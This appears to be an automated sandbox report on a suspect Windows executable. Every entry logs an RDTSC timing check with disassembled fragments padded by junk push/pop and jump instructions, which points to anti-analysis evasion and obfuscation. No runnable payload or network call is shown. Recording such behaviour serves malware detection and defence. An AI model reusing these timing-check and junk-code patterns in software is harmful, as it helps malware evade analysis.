Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5437 second address: 9D543B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D543B second address: 9D5449 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5449 second address: 9D544D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D58E3 second address: 9D5908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FDEF8F4076Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5A74 second address: 9D5A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5A7A second address: 9D5A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDEF8F40766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5A84 second address: 9D5A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5C4E second address: 9D5C9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDEF8F40773h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDEF8F4076Bh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jno 00007FDEF8F4077Fh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5C9D second address: 9D5CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5D3A second address: 9D5D7F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FDEF8F40768h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov edx, 52831F5Dh 0x0000002a lea eax, dword ptr [ebp+1247A8BDh] 0x00000030 mov dx, 3243h 0x00000034 nop 0x00000035 push edi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5D7F second address: 9D5D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5D83 second address: 9D5DC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 jg 00007FDEF8F4077Fh 0x0000000f pop edi 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D1E0Dh], ecx 0x00000017 lea eax, dword ptr [ebp+1247A879h] 0x0000001d nop 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jbe 00007FDEF8F40766h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5DC3 second address: 9BD7ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 jno 00007FDEF8F19BB8h 0x0000000f pop eax 0x00000010 nop 0x00000011 mov edx, dword ptr [ebp+122D1C0Eh] 0x00000017 call dword ptr [ebp+12444CBEh] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDEF8F19BC5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A19C96 second address: A19CB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FDEF8F4078Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jng 00007FDEF8F40766h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D5131 second address: 9D5178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007FDEF8F19BB8h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 call 00007FDEF8F19BB9h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a jmp 00007FDEF8F19BC2h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A40B second address: A1A411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A411 second address: A1A426 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDEF8F19BB6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A426 second address: A1A42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A42A second address: A1A434 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEF8F19BB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A434 second address: A1A452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDEF8F4076Ch 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jnc 00007FDEF8F4076Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1A6D0 second address: A1A6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1C2F8 second address: A1C317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F40772h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FDEF8F40766h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1C317 second address: A1C37C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007FDEF8F19BC2h 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 jc 00007FDEF8F19BB6h 0x0000001b jmp 00007FDEF8F19BBCh 0x00000020 popad 0x00000021 jmp 00007FDEF8F19BC4h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FDEF8F19BBDh 0x0000002d push edi 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1C37C second address: A1C380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A1E296 second address: A1E2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F19BBAh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEF8F19BC7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A21857 second address: A2185C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2113E second address: A21142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A212B7 second address: A212CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FDEF8F4076Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27045 second address: A27062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDEF8F19BC8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27062 second address: A27067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27067 second address: A2708D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jne 00007FDEF8F19BB6h 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007FDEF8F19BB6h 0x00000019 popad 0x0000001a push eax 0x0000001b jl 00007FDEF8F19BB6h 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2708D second address: A27091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27091 second address: A27095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2723F second address: A27250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27250 second address: A27254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A273AF second address: A273CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007FDEF8F40774h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A273CA second address: A273D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27538 second address: A2753E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2753E second address: A27549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2768F second address: A27695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A27695 second address: A276AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDEF8F19BBAh 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2815F second address: A28181 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDEF8F40776h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2B9D4 second address: A2B9F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jno 00007FDEF8F19BB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2B9F5 second address: A2BA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDEF8F4076Ch 0x0000000a jnl 00007FDEF8F40770h 0x00000010 jmp 00007FDEF8F4076Ah 0x00000015 popad 0x00000016 jbe 00007FDEF8F4079Ah 0x0000001c jns 00007FDEF8F40784h 0x00000022 jmp 00007FDEF8F4076Bh 0x00000027 jmp 00007FDEF8F40773h 0x0000002c push eax 0x0000002d push edx 0x0000002e jne 00007FDEF8F40766h 0x00000034 push eax 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2BD0F second address: A2BD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2BD13 second address: A2BD2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2BD2A second address: A2BD30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2BE78 second address: A2BE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2BE7C second address: A2BE8D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEF8F19BB6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2C1AD second address: A2C1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2F06B second address: A2F06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A2F4E3 second address: A2F50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDEF8F40766h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDEF8F40773h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A374FE second address: A3751A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC2h 0x00000007 jl 00007FDEF8F19BB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A3751A second address: A3752A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDEF8F40766h 0x0000000a jnp 00007FDEF8F40766h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A37DDE second address: A37DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A37DE2 second address: A37DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDEF8F4076Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A38384 second address: A3838E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDEF8F19BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A3890B second address: A38926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40777h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A38926 second address: A38969 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F19BCDh 0x00000008 jmp 00007FDEF8F19BC7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jg 00007FDEF8F19BB6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jmp 00007FDEF8F19BC6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A40A38 second address: A40A82 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FDEF8F40770h 0x00000012 js 00007FDEF8F40766h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b pop ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007FDEF8F40779h 0x00000023 jnc 00007FDEF8F40766h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A40A82 second address: A40AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F19BC0h 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007FDEF8F19BC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A40AB0 second address: A40AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4112C second address: A41130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A41130 second address: A41140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnl 00007FDEF8F40784h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A413F7 second address: A413FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A413FF second address: A41406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A415A5 second address: A415AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A415AB second address: A415E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40778h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FDEF8F40771h 0x0000000f jl 00007FDEF8F40766h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A48034 second address: A48038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A48038 second address: A4806B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F4076Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDEF8F40774h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007FDEF8F40766h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4806B second address: A4808C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4808C second address: A48091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4865D second address: A48674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F19BC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A48674 second address: A4867A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4BE09 second address: A4BE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007FDEF8F19BB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A4BE15 second address: A4BE19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A5256F second address: A5258F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEF8F19BB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 je 00007FDEF8F19BB6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 jl 00007FDEF8F19BB6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A5258F second address: A5259E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007FDEF8F40766h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A5259E second address: A525A8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDEF8F19BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A525A8 second address: A525BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Bh 0x00000007 je 00007FDEF8F4076Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A54375 second address: A5438C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FDEF8F19BB6h 0x00000010 jg 00007FDEF8F19BB6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A5422D second address: A54233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A5743D second address: A57443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A57443 second address: A57447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: A67478 second address: A67497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDEF8F19BC8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
